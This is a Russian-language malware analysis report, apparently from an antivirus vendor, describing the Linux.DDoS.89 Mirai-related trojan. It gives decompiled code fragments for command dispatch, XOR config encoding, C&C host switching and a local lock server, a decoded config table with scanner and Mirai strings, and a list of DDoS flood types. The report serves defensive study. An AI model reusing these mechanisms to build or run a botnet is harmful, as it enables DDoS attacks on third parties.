SHA1:
- 846b2d1b091704bb5a90a1752cafe5545588caa6
Модифицированная версия троянца Linux.DDoS.87. Использует схожий способ заполнения структуры с обработчиками команд:
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
Был переработан вид используемых структур: некоторые поля поменялись местами. Также изменился способ заполнения и хранения конфигурации: в этой версии троянца память для ее записи не переаллоцируется, вместо этого используется статически выделенная область памяти. Перед использованием хранящегося в памяти конкретного значения конфигурации вызывается функция decode, которая расшифровывает значение с использованием операции XOR. После использования эта функция вызывается повторно для кодирования значения в памяти. Как и в предыдущей версии, значения полей получаются по номеру, но теперь он совпадает с их положением в массиве. Формат присылаемых команд не изменился. Идентичен и способ запуска обработчика команды (с учетом изменения способа хранения обработчиков).
Запуск обработчика команды в Linux.DDoS.87:
char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed *targets, unsigned __int8 params_count, param2 *params)
{
signed int v6; // eax@1
int v7; // esi@2
unsigned __int8 v8; // dl@3
int v9; // ebx@12
int status; // [esp+28h] [ebp-14h]@8
LOBYTE(v6) = number;
if ( handlers.length )
{
v7 = 0;
if ( number == handlers.handlers->number )
{
handler_found:
v6 = __libc_fork();
if ( v6 <= 0 )
{
if ( !v6 )
{
v6 = __libc_fork();
if ( v6 > 0 )
__GI_exit(0);
if ( !v6 )
{
v6 = __libc_fork();
v9 = v6;
if ( !v6 )
{
__GI_setsid();
init_random();
handlers.handlers[v7].func(target_count, targets, params_count, params);
__GI_exit(0);
}
if ( v6 > 0 )
{
__GI_setsid();
sleep(time);
__GI_kill(v9, 9);
__GI_exit(0);
}
}
}
}
else
{
LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
}
}
else
{
v8 = 0;
while ( ++v8 != handlers.length )
{
v7 = v8;
LOBYTE(v6) = number;
if ( handlers.handlers[v7].number == number )
goto handler_found;
}
}
}
return v6;
}
Запуск обработчика команды в Linux.DDoS.89:
void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_parsed *a4, unsigned __int8 a5, param2 *a6)
{
int v6; // eax@1
int v7; // eax@4
int v8; // eax@7
cmd *v9; // edx@7
int v10; // eax@12
v6 = __libc_fork();
if ( v6 != -1 && v6 <= 0 )
{
v7 = __libc_fork();
if ( v7 == -1 )
__GI_exit(0);
if ( !v7 )
{
__GI_sleep(a1);
v10 = getppid();
__GI_kill(v10, 9);
__GI_exit(0);
}
if ( (signed int)malware_conf.size > 0 )
{
v8 = 0;
v9 = *malware_conf.entries;
if ( a2 == (*malware_conf.entries)->number_ )
{
LABEL_10:
v9->func(a3, a4, a5, a6);
}
else
{
while ( ++v8 != malware_conf.size )
{
v9 = malware_conf.entries[v8];
if ( v9->number_ == a2 )
goto LABEL_10;
}
}
}
}
}
Основные отличия от Linux.DDoS.87
Изменился генератор псевдослучайной последовательности. Также изменился порядок действий при старте троянца. В первую очередь выполняется работа с сигналами, при этом игнорируется SIGINT:
__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
Затем устанавливаются обработчики других сигналов:
__bsd_signal(SIGCHLD, SIGEV_NONE);
__bsd_signal(SIGTRAP, change_host);
//change_host:
void __cdecl change_host()
{
decode(4u);
decode(5u);
cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
encode(4u);
encode(5u);
}
Затем процесс получает IP-адрес используемого для выхода в Интернет сетевого интерфейса путем соединения с DNS-сервером Google (Linux.DDoS.87 получал этот адрес, соединяясь с собственным управляющим сервером):
int getMyIp()
{
int v0; // esi@1
int result; // eax@1
__int16 v2; // [esp+20h] [ebp-1Ch]@2
__int16 v3; // [esp+22h] [ebp-1Ah]@2
int v4; // [esp+24h] [ebp-18h]@2
int v5; // [esp+30h] [ebp-Ch]@1
v5 = 16;
v0 = __GI_socket(2, 2, 0);
result = 0;
if ( v0 != -1 )
{
v2 = 2;
v4 = 0x8080808;
v3 = 0x3500;
__libc_connect(v0, &v2, 16);
__GI_getsockname(v0, &v2, &v5);
__libc_close(v0);
result = v4;
}
return result;
}
После этого запускается локальный сервер:
int start_server()
{
int result; // eax@1
struct flock *v1; // eax@2
char v2; // ST1C_1@2
unsigned __int32 v3; // eax@2
_DWORD *v4; // ebx@4
char v5; // [esp+Ch] [ebp-30h]@0
sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
int v7; // [esp+30h] [ebp-Ch]@1
v7 = 1;
result = __GI_socket(2, 1, 0);
server_socket = result;
if ( result != -1 )
{
__GI_setsockopt(result, 1, 2, &v7, 4);
v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
BYTE1(v1) |= 8u;
__GI___libc_fcntl(server_socket, 4, v1, v2);
v3 = 0x100007F;
if ( !can_bind )
v3 = selfaddr;
v6.sin_family = 2;
v6.sin_addr.s_addr = v3;
v6.sin_port = 0xE5BBu; //48101
v4 = getLastError();
*v4 = 0;
if ( __GI_bind(server_socket, &v6, 16) == -1 )
{
if ( *v4 == EADDRNOTAVAIL )
can_bind = 0;
v6.sin_family = 2;
v6.sin_addr.s_addr = 0;
v6.sin_port = 0xE5BBu; //48101
__libc_connect(server_socket, &v6, 16); //connect to socket
__GI_sleep(5);
__libc_close(server_socket);
result = start_server();
}
else
{
result = __GI_listen(server_socket, 1);
}
}
return result;
}
Если троянцу не удается использовать системный вызов bind, он соединяется с соответствующим портом, так как предполагается, что порт занят другим ранее запущенным процессом Linux.DDoS.89. В таком случае ранее запущенный процесс завершит свое выполнение. После запуска сервера заполняется структура sockaddr_in, в которую записывается хранящийся в исполняемом файле адрес управляющего сервера:
.text:0804BBEF mov ds:cnc.sin_family, 2
.text:0804BBF8 add esp, 10h
.text:0804BBFB mov ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05 mov ds:cnc.sin_port, 5000h
Затем от имени процесса вычисляется следующая функция:
def check(name):
print name
a = [ord(x) for x in name]
sum = (0 - 0x51) & 0xff
for i in [2,4,6,8,10,12]:
z = (~a[i % len(a)] & 0xff)
sum = (sum + z)&0xff
return sum % 9
Возвращаемый результат этой функции служит индексом в массиве функций. Функция с соответствующим индексом будет выполнена. Список функций имеет следующий вид:
.rodata:080510A0 off_80510A0 dd offset start_server ; DATA XREF: main+4Do
.rodata:080510A4 dd offset decode
.rodata:080510A8 dd offset get_config_entry
.rodata:080510AC dd offset fill_config
.rodata:080510B0 dd offset encode
.rodata:080510B4 dd offset memncpy
.rodata:080510B8 dd offset strcmp
.rodata:080510BC dd offset runkiller
.rodata:080510C0 dd offset change_host
После этого проверяется имя текущего процесса. Если оно совпадает с "./dvrHelper", то генерируется сигнал SIGTRAP, который приведет к смене управляющего сервера.
Заполнение конфигурации осуществляется следующим образом:
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
Конфигурация для данного образца выглядит следующим образом:
Номер | Раскодированное значение | Назначение |
---|---|---|
1 | "DROPOUTJEEP" | |
2 | "wiretap -report='tcp://65.222.202.53:80'" эта строка присваивается в качестве имени троянца и отображается в списке процессов | |
3 | "listening tun0" | выводит на stdin при запуске |
4 | <ip-addres> | адрес управляющего сервера |
5 | <port> | порт управляющего сервера |
6 | "/proc/" | runkiller |
7 | "/exe" | runkiller |
8 | "REPORT %s:%s" | runkiller |
9 | "HTTPFLOOD" | runkiller |
10 | "LOLNOGTFO" | runkiller |
11 | "\x58\x4D\x4E\x4E\x43\x50\x46\x22" | runkiller |
12 | "zollard" | runkiller |
13 | "GETLOCALIP" | unused |
14 | <host> | scanner IP-адреса хоста, на который отправляется информация о зараженных устройствах |
15 | <port> | scanner порта хоста, на который отправляется информация о зараженных устройствах |
16 | "shell" | scanner |
17 | "enable" | scanner |
18 | "sh" | scanner |
19 | "/bin/busybox MIRAI" | scanner |
20 | "MIRAI: applet not found" | scanner |
21 | "ncorrect" | scanner |
22 | "TSource Engine Query" | cmd1 |
23 | "/etc/resolv.conf" | cmd2 |
24 | "nameserver" | cmd2 |
После заполнения конфигурации имя процесса изменяется на conf[2], а с помощью функции prctl имя процесса меняется на значение conf[1].
Затем осуществляется вывод в стандартный поток stdin conf[3]:
.text:0804BE05 lea eax, [esp+1224h+len]
.text:0804BE0C push eax
.text:0804BE0D push 3
.text:0804BE0F call get_config_entry
.text:0804BE14 add esp, 0Ch
.text:0804BE17 mov edi, [esp+1220h+len]
.text:0804BE1E push edi ; len
.text:0804BE1F push eax ; addr
.text:0804BE20 push 1 ; fd
.text:0804BE22 call ___libc_write
.text:0804BE27 add esp, 0Ch
.text:0804BE2A push 1 ; len
.text:0804BE2C push offset newline_2 ; addr
.text:0804BE31 push 1 ; fd
.text:0804BE33 call ___libc_write
Далее происходит создание дочерних процессов и вызов следующих функций:
.text:0804BEBF call init_consts__
.text:0804BEC4 call fill_handlers
.text:0804BEC9 call run_scanner
.text:0804BECE pop esi
.text:0804BECF mov edx, [esp+1228h+var_1210]
.text:0804BED3 mov ebx, [edx]
.text:0804BED5 push ebx
.text:0804BED6 call runkiller
Функция runkiller в этой версии троянца не проверяет наличие файлов в директории процесса: для проверки используется PID. Процесс не будет завершен, если его PID совпадает с текущим или с родительским.
Изменениям подвергся также механизм работы с сетью. Вместо блокирующих сокетов троянец использует системный вызов select, который также обрабатывает и серверный сокет. При любом подключении к серверному сокету завершаются все дочерние процессы, запускается новый процесс-сканер и завершается текущий процесс:
.text:0804C1E5 socket_server_ready: ; CODE XREF: main+53Ej
.text:0804C1E5 mov [esp+121Ch+optval], 10h
.text:0804C1F0 lea eax, [esp+121Ch+var_48]
.text:0804C1F7 push edi
.text:0804C1F8 lea edx, [esp+1220h+optval]
.text:0804C1FF push edx
.text:0804C200 push eax
.text:0804C201 push ecx
.text:0804C202 call ___libc_accept
.text:0804C207 call kill_scanner
.text:0804C20C call kill_killer
.text:0804C211 call spawn_new_scanner
.text:0804C216 pop ebx
.text:0804C217 pop esi
.text:0804C218 push 9 ; sig
.text:0804C21A neg [esp+1228h+var_120C]
.text:0804C21E mov ecx, [esp+1228h+var_120C]
.text:0804C222 push ecx ; int
.text:0804C223 call ___GI_kill
.text:0804C228 mov [esp+122Ch+fd], 0 ; status
.text:0804C22F call ___GI_exit
Также на управляющий сервер теперь не отсылается MAC-адрес сетевого адаптера, а команды из сети принимаются по одной.
Функция run_scanner, позаимствованная у троянцев семейства Linux.BackDoor.Fgt и предназначенная для поиска в сети уязвимых устройств, была немного изменена. Так, адрес сервера, на который отсылается информация об уязвимых устройствах, извлекается в этой версии троянца из конфигурации.
Из списка выполняемых типов атак исчез HTTP flood, сами команды были переупорядочены:
Номер | Тип |
---|---|
0 | UPD random |
1 | TSource |
2 | DNS flood |
3 | TCP flood 2 options |
4 | TCP flood random data |
5 | TCP flood |
6 | UDP over GRE |
7 | TEB over GRE |
В исследованном образце вирусописатели попытались реализовать атаку DNS amplification: теперь адрес DNS-сервера извлекается либо из файла resolv.conf, либо из списка публичных DNS-серверов, зашитых в тело троянца.